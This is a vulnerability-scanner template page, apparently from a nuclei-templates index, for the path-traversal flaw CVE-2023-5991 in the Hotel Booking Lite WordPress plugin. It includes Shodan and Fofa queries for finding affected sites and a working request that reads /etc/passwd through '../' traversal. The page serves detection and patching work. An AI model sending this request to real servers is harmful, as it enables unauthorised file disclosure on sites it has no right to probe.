SecurityContext

CVE-2023-5991: Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion

  • Template: CVE-2023-5991
  • Name: Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion
  • Description: The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
  • Impact: Unauthenticated attackers can exploit missing validation and authorization checks to download and delete arbitrary files on WordPress servers running Hotel Booking Lite.
  • Remediation: Fixed in 4.8.5
  • Severity: critical
  • Authors: s4e-io
  • Tags: cve, cve2023, lfi, motopress-hotel-booking, wordpress, wp-plugin, wpscan, wp, motopress, vuln
  • References: https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e/, https://nvd.nist.gov/vuln/detail/CVE-2023-5991
  • Cves: CVE-2023-5991
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-5991.yaml
  • Digest: 4a0a00473045022100b709fb91586a3a0e1ac3929e3cde9a02f803ac4207bdf6c9d307adee4c65c4b402203614d3dee253671ed16f2a1ae6398b622abba276c04785836a5f1a4b65c42881
  • Created at: 2024-05-15T03:50:58Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 923
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-5991.yaml

Classification

  • Cwe: CWE-22
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.03313
  • Epss percentile: 0.88879
  • Cpe: cpe:2.3:a:motopress:hotel_booking_lite:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body=/wp-content/plugins/motopress-hotel-booking
  • Framework: wordpress
  • Max-request: 1
  • Product: hotel_booking_lite
  • Publicwww-query: /wp-content/plugins/motopress-hotel-booking
  • Shodan-query: http.html:/wp-content/plugins/motopress-hotel-booking
  • Vendor: motopress
  • Verified: yes

Products

ProductIndexedUrl
motopress:hotel_booking_liteyes/v1/products/motopress/hotel_booking_lite

Labels

  • Name: Hotel Booking Lite - Path Traversal & Cross-Site Request Forgery
  • Impact: Unauthenticated attackers can download and delete arbitrary files, potentially leading to data loss, information disclosure, or server compromise.
  • Remediation: Update to version 4.8.5 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, file_system_write, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-5991
  • Not known: requirements

```yaml

id: CVE-2023-5991

info:

name: Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion

author: s4e-io

severity: critical

description: |

The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server

impact: |

Unauthenticated attackers can exploit missing validation and authorization checks to download and delete arbitrary files on WordPress servers running Hotel Booking Lite.

remediation: Fixed in 4.8.5

reference:

- https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e/

- https://nvd.nist.gov/vuln/detail/CVE-2023-5991

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-5991

cwe-id: CWE-22

epss-score: 0.03313

epss-percentile: 0.88879

cpe: cpe:2.3:a:motopress:hotel_booking_lite:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 1

vendor: motopress

product: hotel_booking_lite

framework: wordpress

shodan-query: http.html:/wp-content/plugins/motopress-hotel-booking

fofa-query: body=/wp-content/plugins/motopress-hotel-booking

publicwww-query: "/wp-content/plugins/motopress-hotel-booking"

tags: cve,cve2023,lfi,motopress-hotel-booking,wordpress,wp-plugin,wpscan,wp,motopress,vuln

http:

- method: GET

path:

- "{{BaseURL}}/?filename=../../../../../../etc/passwd&mphb_action=download"

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: word

part: header

words:

- "filename="

- "/etc/passwd"

condition: and

- type: status

status:

- 200

digest: 4a0a00473045022100b709fb91586a3a0e1ac3929e3cde9a02f803ac4207bdf6c9d307adee4c65c4b402203614d3dee253671ed16f2a1ae6398b622abba276c04785836a5f1a4b65c42881:922c64590222798bb761d5b6d8e72950

```